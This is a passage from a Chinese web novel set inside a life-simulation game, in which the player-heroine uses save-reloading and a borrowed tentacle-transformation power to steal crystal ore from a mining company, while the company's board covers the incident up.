朝晖一想也是这么个道理，她作为异能者，物以稀为贵，有优待嘛。
等等。
“余烬不也是异能者吗，怎么就混成最垃圾的合约了？”
这……
伊尔莎哪里知道为什么。
她只好回答：“我听说，以前的制度没这么完善，合约不像现在这样分等级，那会儿大家都是签的……奴隶合同。”
她学了朝晖此前的措辞。
行吧。
总而言之，以杨茉的身家背景，来闯荡娱乐圈，就像博士毕业生跑去重读幼儿园一样荒诞。
从她霸凌的行为可以看出，此人品行不端，玩家是万万没有可能与其和解的。
“一个月50单位也很少啊，而且价格贵死人，要不我还是偷偷去他们家矿场薅一点吧。”朝晖一拍大腿。
姜瑶告诉她大概价格后，她发现自己也别考虑额度了，就她这两千块钱最多能买十个单位，还是最劣质的、没加工过的那种粗矿。
这还买啥？
不如考虑一下零元购算了。
伊尔莎：“……矿场一般都有雇佣兵看守，且能源企业背靠政党，势力滔天。这个，应该是偷不了的。”
朝晖不信邪：“假如我变身成克系触手怪，从下水道偷溜进去，阁下又将如何应对呢？”
伊尔莎：？
系统：！
“亲爱的玩家，请务必注意言辞，否则可能会导致【卫文谨的秘密】任务失败。”
朝晖小声反驳系统：“我能变成章鱼，这和卫文谨又没有关系，是吧。”
伊尔莎结结巴巴道：“……克系触手怪？这……”
她的第一反应是四下张望，确认无人之后，赶紧把朝晖拉到了监控看不见的角落里。
“隔墙有耳！朝小姐，您的事情……还是不要到处说比较好。”伊尔莎委婉地劝谏。
“没关系的，我能读档。”朝晖安慰她，“你先别告诉姜姐，我去探上一探，知道吗？不用担心我！”
“读档”二字被和谐，伊尔莎没有听懂。
朝晖准备第二天行动。她打算先把经纪人骗出来，把他敲晕，带到矿场附近，再给他刷牙，变成触手怪混进去。
如此缜密的计划，可谓是天衣无缝！
结果回宿舍还没睡够两小时，就被姜瑶带着人抓回了安全局。
“你背叛我！！”
朝晖委屈地看着伊尔莎。
伊尔莎紧抿着嘴，眼神坚定：“朝小姐，你怪我也没关系……那可是矿场，你会死的！”
经过大半夜的心理挣扎，伊尔莎还是把事情告诉了姜瑶。
也许朝晖只是在口嗨，但哪怕只有万分之一的风险，她也不能眼睁睁看着朝晖去送死。
姜瑶气得跳脚：“臭丫头，你净给我找事！伊尔莎担心你，你还凶她？你也好意思！”
玩家难过！
玩家不甘！
玩家怒了一会儿，就消气了。
一方面，是体会到伊尔莎的好意，另一方面，则是她明白过来，伊尔莎并不完全是她的手下。
她为了寻求靠山、获得异能者的福利，选择与安全局签约，那么安全局的老大姜瑶就成了自己的上司，也成了自家员工伊尔莎的上司。
她相当于把伊尔莎的“所有权”让渡了一部分出去。
唉，这不是莎莎的错，是玩家还不够强大呀。
“我明白了。”朝晖眼神坚定，“没关系，迟早有一天，莎莎你不再需要找别人求助！我会把你从安全局手里抢回来！”
伊尔莎：……？
下一秒，玩家已然成功读档。
这回她低调谨慎，暗中蛰伏，在练习室乖乖练了一晚上后，于次日清晨电话叫来经纪人，并将其一巴掌敲晕在车副座。
仿佛听到了“咔嚓”一声骨头的响动，朝晖一边系安全带，一边担忧地瞄了他两眼：“他没死吧？死了我这牙刷估计就没法用了。”
系统：……
这，是何等邪恶的恶魔呓语！
“……玩家请放心，他还活着。”
那就好。
朝晖兴奋地点火启动，一脚油门：“呜哇！！终于有车开啦～～～！”
卫文谨这辆商务车低调舒适，手感很好。
唯一的缺点就是，这车子是游戏架空设计的，朝晖不会开，只知道油门和方向盘位置没变化。
于是，只见清晨的星光训练营停车场内，一辆黑色汽车怪叫起来，猛然从原地窜出，“哗啦啦啦”地直直猛冲出去，撞开了路径上所有其他汽车。
“卧槽，还挺难控制的？”
此时的停车场，警报声大作，商务车内安全气囊弹出，朝晖的半边身体也被碎玻璃划得血肉模糊，不过她并没有什么感觉。
她研究半天，没研究出倒车是哪个按钮。
“你们的开车系统为什么要设计得这么复杂啊？就搞个按钮的事儿，弄出这么大一块操作屏。”朝晖抱怨。
系统：“……亲亲，这边建议您可以先去游戏内的驾校进行学习再来开车呢。”
“算了，不能倒车我就绕一圈开出去吧。”
朝晖松开刹车，一脚油门，商务车像一头喝醉了酒的蟑螂那样，在停车场内呈“S”形运动，创飞所有拦路虎，最终冲破桎梏，来到外面车来车往的大街。
刺耳的警笛声由远而近，带给了玩家极度沉浸式赛车体验。
“冲鸭！！”朝晖双手握紧方向盘，把油门直接踩到底，“是紧张刺激的追逐战！！来吧！！玩家永不为奴！！”
22. 云端能源（8）
非常可惜，朝晖最终虽然赢过了警察、没被抓住，但她没能赢过死神——
追逐战途中，她没来得及拐弯，一头撞在十字路口一辆大货车身上，当场就和被她丢在副驾驶的卫文谨双双升天。
就这么回了整整五次档，朝晖敲经纪人脑壳的动作愈发娴熟，飙车技术也逐渐提升。
她一点儿也没觉得有挫折感，因为——开车真的太好玩啦！
第六回，她迅如闪电、力度适中地朝经纪人后脑壳上一敲，竟被他提前躲开了。
玩家瞪大眼睛看向经纪人：“？”
卫文谨：“……你为什么打我？”
他刚才开车抵达停车场后，等待朝晖的过程中，忽然觉得脑海中闪过一些难以捕捉的记忆碎片。
伴随而来的，是后脑勺阵阵疼痛，仿佛之前被什么人给打过。
朝晖：“！”
完了，她忘记这款游戏装载了防bug系统！
此前提到过，为了避免某些玩家通过无限回档的方式刷bug，部分游戏会加装该系统，相当于给游戏内的npc增加了ai成长机制。
假如玩家在某个位置异常读档过多，那么npc就会“自我成长”，行为模式有所改变。
看来她敲经纪人脑壳太多次，对方知道提防她了。
既然如此，朝晖眼珠子一转，轻描淡写道：“我来开车，你陪我去个地方吧！”
说来惭愧，刚才她那五次回档，混进矿场好几次，却还一次都没能成功从矿场跑出来呢：D
“……你没有驾照吧？”卫文谨扶额。
“没事，我会开车，你千万不要轻举妄动哦，否则我就告诉别人你有异能。”朝晖示意经纪人赶紧把驾驶座让给她。
……
卫文谨心中默诵《清净经》，乖乖让位置。
要说他是个多么遵纪守法、正义感爆棚的人，那绝对不能够。
他只是怕她开的不好，无证驾驶被交警抓到惹麻烦。
没想到，朝晖开起车来，竟显得驾轻就熟，尤其是超车技术非常娴熟，就仿佛经过长时间的训练似的。
就是这路线怪怪的，竟然是往郊区方向去了，路上景色越来越荒凉。
“去哪？”他问。
朝晖道：“云端能源的矿场。”
“……去矿场干什么？那边周围附近的一块都有重兵把守。”
“嗯？”
朝晖惊喜地看向他：“你还知道什么关于矿场的情报？快告诉我。”
卫文谨还真的知道那么一点，但出于对某位祖宗闯祸能力的信任，他没敢说：“矿场周围的安保自然很严格，这是常识吧。别的我也不知道，你先说说你的计划？”
朝晖一听到“计划”二字，颇有种即将执行秘密任务的兴奋感，嘴巴马上就停不下来了：“哼，我之前虽然还没成功过，但里面的情况已经探查得差不多了。”
“我们在3号路口停车，那边的小巷子里有个下水道口，附近没监控。进去之后和矿场内部是联通的。我把你放在那儿……我的意思是，你在那里等我，我会变成章鱼从下水管道进去，很快里面的人就会发现我，你得赶紧出来。”
……
一片沉默，卫文谨开口：“然后呢？”
然后？
上个存档到这儿的时候，她就开始生死时速，奈何最终依然含恨落败。
但这次不会了！
“然后就不需要你啦，我自己进去就行。”
“我已经找到了他们医疗室的位置，里面的药品能回血，可惜我没来得及用就死了。这次我先去拿药，再优化一下路线，绝对能跑掉！”朝晖兴奋地拍打方向盘，“我拿了好多晶石矿——可惜上个档没逃出来！不然我就发达啦！”
这段话被打码了很多，有关于“上次”“存档”之类的词语，都被系统模糊成了不清晰的呓语。
但卫文谨和姜瑶一样，已经逐渐开始习惯从她的话语碎片里提取重要信息。
其实，假如忽略掉那些意义不明的音节，如“阿巴巴”、“唔噜哩”，认真捕捉有效字句的话，还是能够分析出她的大概意思的。
这对听众的要求很高，必须得非常仔细才行——朝晖的语速并不慢，还时常有连读、吞音。
“……原来你是想要晶石矿？”
“嗯。”朝晖答。
卫文谨不去想为什么朝晖要这么干，因为他没有拒绝的权利。
下位者的悲哀便是如此，他已经习惯了。
抛开无用的担忧，此时此刻最应该思考的是如何自保。
“要多少？我可以想办法给你弄一点。”他决定先尝试拿钱消灾。
他的工资并没有系统吹的“年薪百万”那么多，但他与三道九流的人都打过交道，人脉资源还行，可以低价拿到一些晶石矿。
“越多越好。100单位？200单位？可以分开，不一定是要一整块的。”朝晖熟练地说出从姜瑶那边得知的情报，“暂时要这么多就够了，下个月可能会要多点。”
技能升级的话，消耗肯定会增加，200估计都不够她用一个月。
“……3号路口离矿场还有一段距离。”卫文谨立刻改口，假装自己刚才什么都没说，“你只需要‘借用’我的异能，后续就不需要我了，对吗？”
“嗯，你可以先走，毕竟那地方还挺脏的。”
“……”
这叫“还挺脏”？
下水道里，卫文谨由衷地佩服起面不改色、趟水前进的朝晖。
因为他的鼻子快报废了！
可以关闭嗅觉的玩家：“差不多就这儿吧。”
下水管道里没有光，卫文谨比她还谨慎，让她把两人的手机提前关机放在了车上，并从后备箱里掏出一个手电筒。
朝晖也不好奇这手电筒是从哪来的，毫不客气地拿过来就用。
他们已经进入下水道深处。
手电筒发出灰白色的光，透过雾蒙蒙、飘散着不知名尘屑的空气，照亮头顶上方一个锈迹斑斑的铁丝网入口。
朝晖从口袋里掏出牙刷：“来，张嘴。”
卫文谨：……
他发誓，他并没有拒绝的意思，实在是此地气味感人，他是怕一张嘴自己真的会吐出来。
而且，看见这柄眼熟的牙刷之后，他竟有种掉头就跑的冲动。
就好像自己曾被它狠狠伤害过：（
“……牙刷？”他有气无力地道。
朝晖点头：“快一点，刷完你就可以走了。”
这一刻，成了卫文谨永远不愿再回想起的悲惨记忆。
——朝晖不让他自己刷，非要亲自拿着牙刷给他刷牙。
他一个188的优秀社会青年，在浑浊肮脏的下水道里捏着鼻子，半弓着腰，把自己的脑袋放在一个她顺手的位置，让她不至于把自己的牙龈给刷出血。
幽暗空旷的管道内，回响着经纪人模糊不清的歌声，如泣如诉……
卫文谨已经快要忘记自己的悲惨童年了，因为他终于发现，未来远比过去还要悲惨。
朝晖脱掉鞋，紧紧盯住自己的脚丫子。
一看到变化，她就把牙刷往兜里一揣，熟练地三步并作两步爬上墙，随手将铁丝网扯掉。
“行了，你走吧！要是你顺利回去了，可以去……去五号路口等我。”
她力气大，不惧疼痛，四肢扒拉着墙壁往上窜，速度极快，一会儿功夫就不见了踪影。
卫文谨确定她离开之后，才收回眼神，举起手电筒原路返回。
……
矿场周围戒备森严，哪怕下水道内也有警戒装置。
朝晖熟练地用触手把装置打掉，无视迅速响起的警报声，在管道内飞快移动。
第一站：医疗室。
矿场内的矿工们都由最底层的劳工担任，他们签订终身契约，生活条件较差，时不时就有个磕磕碰碰，所以医疗室人数不少。
警报响起时，大家初以为是哪里的机械又
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出了故障。
这里的设备早已老化，时不时就出点问题，大家都习惯了，不以为意，最多是埋怨两句警报声太吵。
下一秒，两只黑漆漆的触手尖尖悄然出现，穿过屋顶排风管道盖子的间隙，将其暴力拆下。
“咔”。
一团长满眼睛、漆黑粗壮的触手涌出来，横扫而过、打箱破柜，熟练地卷起药房内大量药品，然后一眨眼功夫就缩了回去。
那灵活的触手尖尖，临走前还好心地把盖子盖上了。
这一切，不过发生在短短十秒钟内。
屋内徒留一片狼藉。
不敢置信的药房众人：……？
“我，我眼花了？”有人道。
另有一个阅历丰富的人猛地回过神，脸色一变，夺门而出：“快跑！那是污染物！！”
第二站：矿场的临时仓库。
矿工们操控机械设备，将原矿挖出后，都会暂时堆放在此处，等待运输车统一运输。
这些未经加工的原矿体积很大，没有大型运载车的帮助，绝不可能被人偷走。
由于晶石矿的特性，撬开的边角料也根本不值钱。
所以此地看守力度并不大。
但这么大的东西，她要怎么带走呢？
朝晖在上个存档，就发现了一个游戏系统的小bug：
她可以先随便放一个材料进入【创作】界面，然后往里头丢能源，想丢多少丢多少。
只要她不点击【开始创作】的按钮，那么这些晶石矿就相当于被暂存在系统空间内。
她到安全的地方后点击【取消】，就可以把它们原样取出。
这就相当于是一个无限大的空间能源仓库，想放多少放多少！
朝晖在车上就已经把一卷卷纸作为“材料”给放了进去，随时可以开始“储存模式”。
仓库占地面积极大，封闭而潮湿，地面遍布着不少排水管道口，但都十分狭窄。
可朝晖是什么人？
她是玩家，不怕痛呀。
哪怕身体已经扭曲变形，触手上的眼珠子都被摩擦得崩裂，只要血量没有归零、驱干没有破损到无法行动的地步，她就依然拥有100%战力。
玩家破破烂烂地从下水管道口爬出来，触手漫天飞舞，与其接触到的晶石矿全部被系统化作能源，消失不见。
两条人类手臂已经被侵蚀掉了，现在的她只剩下一颗脑袋还属于人类模样。
她把脑袋藏在管道里不露出来，分出一根触手往嘴里塞药，血量增增减减，维持在健康线。
心里计算着时间，20秒一到，她毫不贪心地缩回管道。
第三站：五号路口的下水口。
朝晖滑不溜秋地在通风管道内移动，迅如闪电。
她用了一个存档的时间就学会了如何自如地操控这些触手，并以合理的速度持续嗑药，保证血量安全。
在某个管道线路的交际地带，她打破墙壁，进入下水口，顺着水流一路向下，被冲进肮脏的下水道内。
此时，距离她从三号路口爬进管道，才不过五分多钟。
由于抢来的药品比想象中多一些，血量尚不危险，她暂时没有取消状态，而是沿着水流，游到五号路口附近。
“系统，存档，然后解除【偷窃】状态。”
“好的！”系统其实也紧张死了。
【偷窃】一消失，【异化中】debuff就没了，她不会继续扣血。
身上的触手仿佛被抽掉了神经，无数只横瞳眼不甘地四处转动，最后缓缓失去神采。
但她受伤有点重，大都是因为移动而造成的擦伤、撞伤，所以增加了一个【流血】debuff，好在掉血不多，药品还算充足。
随着血量缓缓增加，黑色的触手滚动起来，重组为人类的躯体。
洁白的少女身体漂浮在肮脏的水面上，没有任何疤痕，美丽得不似真人。
“发财了。”朝晖缓缓露出一个笑容。
23. 云端能源（9）
对于行动的成功，朝晖并不意外。
她可不仅仅玩过争霸游戏，还在pvp游戏中拿过服务器第一呢。
就连以难度著称的某单机游戏，她也最多死两三次就能过boss。
第一遍，把boss技能全部记住；第二遍，把自己的技能搭配好一一应对。
放在现在这款游戏，已经是第六个存档了，地下管道的位置、整个行动的路线、可能会遇到的危机，都被她摸索得一清二楚。
就这，还能难得倒她？
“我就不信了，这回我全程没露脸，爬管子的时候也都用触手保护了身体，绝对没有留下人类部分的生物信息。下水道出入，避开摄像头，没有气味没有脚印，这还能进局子？”
朝晖得意一笑，“要是《逐梦演艺圈》的警察ai能做得那么牛，我就认栽，你们应该去开发探案游戏，而不是乙女游戏。”
系统：……
此前朝晖问过它，触手那部分躯体，属于人类还是别的生物。
它老老实实地告诉了她，那是某种被污染的异化物，和普通的“变形”类异能不一样，算是怪物。
没想到玩家打的是这个主意！
这个玩家……
她来“测试”乙女游戏，是不是有点屈才了啊？
思维如此缜密，行动如此迅捷。
这真的是它认识的那个横冲直撞的沙雕玩家吗？
“呀——好久没玩得这么开心了，别的不说，游戏真实度和自由度是真的高啊！”
朝晖这么跑了一通，获得了心理身体上的双重愉悦。
比起“收获了大量资源”，不如说是“成功完成了一场惊险刺激的冒险”这件事更让她快乐。
极度的兴奋之后，便是松懈，一时间她便有些懒洋洋的。
本来想躺一会儿再说，但是……
哪怕她可以关掉嗅觉，这下水道里也还是太脏了！
虽然几乎没有光线，但泡在水里的时候，皮肤会时不时感受到垃圾、异物的接触，偶尔还有管道上方的水滴落下来……
嗯，还是先走吧。
她确认自己的状态恢复之后，就慢慢地沿着水流，游到五号路口边上的下水道口附近，准备等天黑了再爬出去。
她等在这儿，并不全是怕被人发现。
真正的原因是，她的衣服鞋子，连同那支立下大功的牙刷，都已经被触手们吞得干干净净了：）
这么光溜溜地跑到街上，未免太过可疑，要是引起警察的注意可就不好了。
玩家现在完全不敢小看游戏里警察的ai。
她把眼睛凑到下水口边缘，开始暗中观察。
观察了没多久，竟然就看到一辆眼熟的黑色商务车缓缓开过来。
“诶？”
经纪人，真的打算来接她啊？
卫文谨的好感度是负数，再者朝晖不能完全保证自己能成功，所以她没指望他会来等，本来就打算自己找机会溜走来着。
这片街区离矿场其实还是有一点距离的，只是下水道能抄近路。朝晖的动作实在太快。那边虽然拉响了警报，此刻却仍然在内部调查中。
外面的街道一片祥和，无波无澜。
这时候能溜掉是最好的，朝晖连忙左右看看，悄悄伸出一只手，对着商务车的方向猛摇。
原本打算停在路边的商务车，诡异地进行了一个急刹车，然后不急不慢地开过来。
这个下水口是在路边侧面，马路牙子下面的那种，很长一条，外面有竖直栏杆挡住。
栏杆的缝隙很宽，身材纤细的人都能挤进去，朝晖无压力，卫文谨勉勉强强。
此类看起来非常危险的下水口设计，是由于洛川地处季风带，每到夏天便是持续数月的台风暴雨。
排水口很容易被落叶、垃圾等物品堵住，造成排水不畅，城市积水。
设计成这么大的口子，水中的垃圾就可以顺利排进去，不怕堵塞城市了。
至于每年都会有的那么些个脚滑掉进去的倒霉蛋，那也没办法，市政府管不了那么多。
卫文谨把车紧挨着下水口停靠，可以完整地遮掩住马路方向的视线。
他趁行人道上没人，半边身子探出，从车内打开另一侧的车门；朝晖也给力地抓紧机会，四肢并用飞快爬上来，将车门“砰”一声甩上。
卫文谨：“……”
他的西装在下水道里走过一遭，裤子……基本上可以丢了，衣服也没好到哪里去。
但他又没有替换的衣服，只能穿着这么一身上车，回头再去洗车。
于是他把外套脱下来丢在朝晖身上。
脏外套也总比不穿好吧？
可能是被熏了太久，鼻子失灵，他现在对车内不太美好的气味适应良好。
刚刚解除嗅觉屏蔽的朝晖：“卧槽！呕———”
好在玩家的身体不用吃东西，也不会真的呕吐，否则洗车工的任务就会变得更加繁重了呢。
她连忙把嗅觉再次关掉，闭上眼缓解那股恶心感。
卫文谨找了副口罩给她戴上：“现在去哪里？”
他和朝晖分别之后，在下水道里原路返回花了大概二十分钟，找机会上车、休息了一会儿，开车过来花了十五分钟，加起来还不到一个小时。
他还以为会在这里等很久，或者压根等不到她过来。
“去哪？我哪知道。”朝晖捂着口罩，虚弱地指责他，“你要来就早点来啊，走这么慢，我等半天了。”
“……”
卫文谨深呼吸，卫文谨pua自己“她这人就这样”，卫文谨恢复平静。
“抱歉，你等了多久？”
“大概半个多小时？”朝晖可以在系统界面看到时间。
整场行动也就五分多钟，她游出来之后还泡了一会儿呢。
“……拿到了吗？”
“拿到了！！”
说到这她可就不困了啊！
她开心地蹦哒起来，“啊啊啊，加起来接近300单位！！”
至少一段时间内，她都不用愁啦！
卫文谨：“……”
他没有问下去。
就算后续被警察抓走，也比“异能”暴露的下场要好。
只希望朝晖能够遵守她的承诺，为他保密。为此，他也不是不可以降低自己的底线的。
“可以去附近的酒店换衣服，但要是为了安全的话，也可以去我家。”卫文谨认真提议。
去酒店的话，他们俩的形象属实有些难以解释。
朝晖：“去你家。”
“……好。”
车行路上，朝晖昏昏欲睡。
牙刷偷到异能之后，每分钟消耗1点精力，她才用了六七分钟，此刻精力还很高。
要是她的回血物品够多，以她38点精力上限来看，半个多小时的触手状态，简直无敌。
这还只是经纪人异能70%的效果！
想要增强效果，甚至获得超过100%的“增幅”，就必须要继续点亮【偷盗之手】后面的天赋树。
还是得肝主线升级呀。
此外，随时携带大活人挺麻烦的，要是能存储异能就更方便了。
她手头上有一个来自【卫文谨的秘密】的奖励：【异能者存储模块】。
【异能存储模块：
使用该模块作为材料进行“创作”，成品可以储存一个异能，可充能。】
这个奖励非常珍贵，且只能制作一个物品，她想把技能等级刷高一些、找到优质原材料之后，再用上它。
最好是一把枪！
她都看见
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矿场内保卫们手里的枪了，当时口水差点就流了下来。
可惜，为了确保自己能顺利逃走，她强忍住冲动，没有浪费时间。
等她到时候去安全局练枪，就把枪丢进【创作】界面存着。
难道姜瑶能把她抓起来？哈哈哈哈～
带着对未来的美好梦想，朝晖轻轻睡了过去。
……
一觉醒来，正是阳光明媚的中午。她的嗅觉自动打开，不仅身上香喷喷的、穿上了新衣服，还睡在柔软舒适的大床上。
或许是睡得很好，朝晖觉得脑袋都轻松了许多。
卧室很大，装修简洁，浅灰色系。床头柜上放着她的手机，已经充好电了。除此之外，还摆有毛巾、矿泉水之类的生活物品。
推门而出，她像巡视领地的狮子一般，大摇大摆地把整栋房子转了一圈。
经纪人正在厨房烧饭，还挺香。
“你家好大啊！”朝晖羡慕地开口，“我能住这儿吗？”
卫文谨一个手抖，差点把铲子掉进锅里。
“……不能。”他连忙稳住，“对了，我请了可以信任的保姆来照顾你，帮你梳洗、换了衣服，她不会乱说。”
“嗯嗯。”朝晖点头，把厨房也巡视一圈，就心满意足地回到沙发上瘫着。
其实这房子也没多大，二室一厅，六七十平米左右。装修风格也是比较平价的，估计都是连锁店量产家具。
但和多人一间的宿舍相比，自然是豪华许多。
她什么时候才能一个人住大房间呢？
系统：“……亲爱的玩家，组成女团正式出道之后就可以搬离公司宿舍了。”
朝晖掐指一算：选秀至少要三四个月，选秀团出道还得活动半年；活动结束之后，她才能扒拉扒拉队友，拉出一个女团出道。
这不得等上足足一年！
“啊啊啊——”
端着菜站在厨房门口的卫文谨，有种破罐子破摔的感觉，面无表情地打断她：“吃饭吗？”
“吃。”朝晖光速起身。
没想到小卫烧饭还挺好吃的，家常菜口味，和餐厅里的精致菜品相比，别有一番风味。
卫文谨默默吃了一会儿，才开口试探：“云端能源把消息封锁了，矿区也全面封闭，目前没有新消息传出来。”
“哦？”
朝晖喜上眉梢：“都过了好几个小时，看来我不会被抓了。”
“冒昧地问一句，你是只拿了矿石对吗？”卫文谨小心地措辞，“我想知道一点具体情况，这样我也可以帮你。”
他在考虑自己要不要收拾东西出国跑路。
“放心啦～我一个人都没杀哦，他们甚至没人受伤。”
朝晖漫不经心地往嘴里扒拉菜，“倒是医务室里，有不少人伤势严重，看着比那个霸凌狗还惨——不愧是霸凌狗的爸爸所在的公司，这就是家风传承吧！”
卫文谨：“……我明白了。”
“对了，你家的床是什么牌子？好舒服，我总感觉起床后脑袋都变轻松了。”朝晖兴致勃勃。
她要记下来，以后就买这个床！
卫文谨：“……”
卫文谨把她带到了镜子面前。
朝晖左看看右看看，终于发现哪里不对：
她的角色头发原本是又浓又密，现在却从及腰的黑长直变成了仿佛狗啃、刚过肩的短发。
那么多那么重的头发没了，这脑袋能不轻松吗？
“我明明记得我爬进去之前把头发好好地扎成团子了！”朝晖悲愤。
她根本不会扎头发，所以那个精致又不失结实的丸子头，乃是下车之前经纪人帮她扎的。
系统：“……应该是被触手卷进去吃掉了吧。”
挺好，这样正好不会再留下生物信息了；；
24. 云端能源（10）
云端能源内部，如今一片兵荒马乱。
其实朝晖有些多虑了，矿场压根就不知道这是一场由人类发起的、精心策划的抢劫（？）。
首先，被抢的矿石合起来大约300个单位。听起来不少，却都是零碎的大块劣质原石，对整个矿场来说，损失不值一提。
其次，矿场面积极大，安保主要还是放在矿工的工作区、粗加工之后的精矿储存区，她去的医务室和仓库，基本没什么守卫，监控也不严格，证据严重不足。
最后，医务室的目击者、监控，以及仓库区的监控画面中，总共只剪辑出触手的30秒左右画面，人类身躯被隐藏得很好。
“是异化的怪物！！”
紧急召开的董事会议上，诸多老板面色沉沉，大声斥骂负责矿场保卫的安保队长：“离‘封锁区’不是还有一段距离吗？怎么会让这种东西混进去？！”
安保队长低下头不敢反驳：“陈总，假如真的是怪物逃离，这……是不是应该汇报安全局？”
云端能源自己也有异能者，但数量不多，能力也不强。
平时揍一揍不听话的“下等人”也就罢了，打怪物？那些人恐怕排不上什么用场。
“把安全局的人放进我们的矿场里？我看你的脑子是进水了吧！”
陈总暴跳如雷，指着安保队长的鼻子，骂了个狗血淋头。
不过，看到她如此作态，其他有决策权的股东也不好再说什么重话了。
杨勇见场面稳定下来，思索片刻，小心翼翼地开口：“这个怪物……应该很弱。”
“哦？”
陈总转头看他。
董事会众人都知道，杨勇是个“暴发户”。
他以前在“隔离区”附近当工人，走了狗屎运傍上了贵人，才拿到云端能源股份，混到如今的地位。
股份不少，但由于他对公司运营一窍不通，平时他基本就是个小透明，不发表什么意见。
此时此刻，众人当中，他却是唯一一个亲眼见过“怪物”的人。
被如此多平时看不起他的人注视着，杨勇的心不由得飞快跳动起来。他深深吸了口气，信誓旦旦地开口：
“我之前遇到过‘偷食’的怪物……晶石就是它们的食物。普通的怪物，一天至少要吃成百上千单位的矿石！”
“这只怪物吃的全都是劣质矿石，加起来还不到300单位，而且它一路上都不敢杀人，目击者到现在也没被‘污染’，说明它的力量不强，危险性也不会太大。”
这段话给陈总注入一剂强心针，她不由大笑起来，“果真如此？”
杨勇说得都是真话，自然点头。
他只隐瞒了一个疑惑。
那个怪物……为什么会去医疗室拿药？
按道理说，怪物都是没有理智的东西，它知道什么是药品吗？
那些药品对它有作用吗？这是它有意识地去搜寻可以治疗自己的“药品”，还是单纯的巧合？
但他心里明白，陈总，包括所有的股东都不会想听到这个疑问，所以他闭口不言，只当作无知无觉。
毕竟，怪物抢走的药物并不多，下面汇报上来的消息也只一笔带过为“它途经医疗室，造成少量设备破坏、药品损失”。
果然，听完他的话，董事会众人的脸色不由得缓和下来，个个面上都带出笑容。
“杨勇之前在隔离区附近工作，他的判断应该是可信的。”
“我对这东西也有一点了解，和杨勇的见解差不多。它肯定很弱小，不足为惧！”
“那就不需要找安全局了。让异能者小队在矿区内搜索几天，找不到就算了吧。”
“嗯，跑了也没事，危险性不大，安全局怪不到我们头上。”
“医疗室内的目击者呢？他们没有遭受污染的迹象，可毕竟也是近距离接触过了。”
陈总皱眉，一锤定音：“只是一些工人、两个护士而已，为保安全，全部处理掉吧。记得把仓库区和医疗室都仔细消毒。”
“陈总说的是。”
“还是陈总心思细腻！”
“我们都没有意见，就这么办吧。”
*
卫文谨开车把朝晖送回了宿舍楼。
临别前，他犹豫片刻，还是忍不住开口叮嘱：“我知道你很厉害，但还是小心为好。你的能力别让人发现，尤其是安全局的人。”
“为什么？”朝晖问。
“可能……会被限制活动吧，就不能参加录制了。”卫文谨说。
非常有道理。
她最爱的员工，莎莎，就把她的计划告诉了安全局，导致她被抓走了。
虽然莎莎是好意，但这会影响到玩家的计划。
比起隐瞒，还不如干脆利落，使出一招谍中谍！
朝晖一溜烟消失在商务车旁边，一路小跑到伊尔莎的宿舍，把一脸懵逼的混血员工抓起来：“你！到底还是不是我的员工！”
伊尔莎：“……当然是了？等等，朝小姐您的头发……”
“你会告密！”朝晖特别伤心，“你会把我想做的事情告诉安全局！”
伊尔莎：“……”
她苦恼地抓着头发，不知道自己究竟是怎么刺激到了这位祖宗。
毕竟，所谓的“告密”，已经是上个存档的事情了：）
然而伊尔莎非常不擅长跟别人交心。
最后，她只干巴巴地憋出一句：“我不怎么跟他们联络，你也知道的，除非他们有事情找你，会拜托我转达。”
“假如你遇到了什么危险或困境，我也可以第一时间去通知他们，这样就可以帮助你。”
“朝小姐，我并没有……并不会去告密。”
朝晖点点头，然后脸色一变，凶神恶煞道：“这样的话，你就帮我注意一下安全局的动向。”
伊尔莎：？
“很简单。最近有没有发生什么大事啊，有没有警察忽然集体出动啊，安全局会不会接到紧急任务啊，他们有没有背后讨论我啊……大概就是这些事。”
“你的，明白？”
伊尔莎：“……朝小姐，这种级别的情报，我应该是接触不到的。”
朝晖脸蛋一垮：“那你到底是爱我还是爱安全局！？”
伊尔莎：“……”
朝晖委屈、伤心、痛苦地捂住脸：“你是不是不想帮我？”
“我当然会帮你了！”
伊尔莎忙举双手发誓，别扭地转过头去，“你放心，我和安全局联络也是为了帮你，我只帮你。”
“那好哦，记得我说的话。我先走了，还得赶紧练习初舞台呢，拜拜！”
玩家一秒变脸，哼着歌，快乐地走了。
伊尔莎：“……”
心好累。
朝晖这家伙，忽然莫名其妙地跑来说了这么一大串话，肯定是又惹事了，并且不想让安全局知道。
伊尔莎从口袋里摸出手机，指尖在屏幕上停顿了许久，最终拨出一个号码。
冰冷而机械的默认铃声持续几秒后，电话接通。
“长庚，”伊尔莎的声音极轻，“帮我个忙……”
*
朝晖觉得自己真是太机智了。
不管莎莎能不能提前给她预警，都可以试试嘛，万一成功了呢？<
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p>若能提前知道自己会被被警察追，她就先把经纪人叫过来，使出变身大法，绝对不会再乖乖地被抓走！
“啊，好期待，真想知道从警察手里逃跑是什么感觉，一定爽翻了！”朝晖说着，竟有些跃跃欲试。
系统：！
一时间，它不存在的心脏似乎吊到了嗓子眼。
紧接着，它就听见玩家遗憾地叹气，“可惜主线任务也很重要，我还是先去继续练习好了。”
呼——
系统松了口气。
“等做完初舞台的主线，我就再点一点天赋，那时候再练习【创作】刷熟练度吧……系统，你们这能源储存的方法也太原始了，就不能加个游戏背包吗？哪个游戏没有背包啊，太落后了！”
朝晖还需要用到系统界面的其他功能，所以拜托经纪人帮她租了一间大仓库，将晶石矿全部丢进去，这样就可以退出【创作】页面。
坏处就是，下次她想搞创作的时候，就必须得去仓库充能。
当时，看见她凭空丢出一大堆矿石，卫文谨转头，闭眼，假装自己什么都没看到。
大概这就是身为经纪人的职业素养吧。
系统：“……已经接收到您的投诉。”
此时，看似过了很久，实则距离她从食堂薅走裴韫、无视拍桌的盛绫儿、急匆匆回宿舍修空调，也只不过过去了一个晚上而已。
于是，她刚走进宿舍楼，就被有心人察觉到，然后告诉了等待她的人。
“朝晖，总策划拜托你过去一下。”一个小妹妹怯怯地来敲门。
朝晖不想去。
但总策划是和主线任务联系紧密的重要npc……
于是在系统苦苦规劝、小妹泪眼汪汪之下，她还是去了。
“为什么这么多主线任务的重要npc都是大肚子秃头河童男啊？”朝晖抗议，“说好的乙女游戏呢？就算不是漂亮姐姐，至少也应该像小卫那样，弄个斯文精英西装男的模型吧？”
“亲爱的玩家，本游戏追求沉浸式扮演，致力于提供充满真实感的游戏体验。”
望着眼前的总策划，朝晖赞同：“确实，他长得真的很像我老板、我前老板、我游戏里的老板，以及我被爸妈拉去亲戚饭局时，那一桌子仿佛复制粘贴的中年男人。”
系统：“……”
总策划：“……朝晖啊，这次叫你来，是因为节目马上就要开播了，有些事情呢我想跟你亲自商讨一下。话说你的头发……？”
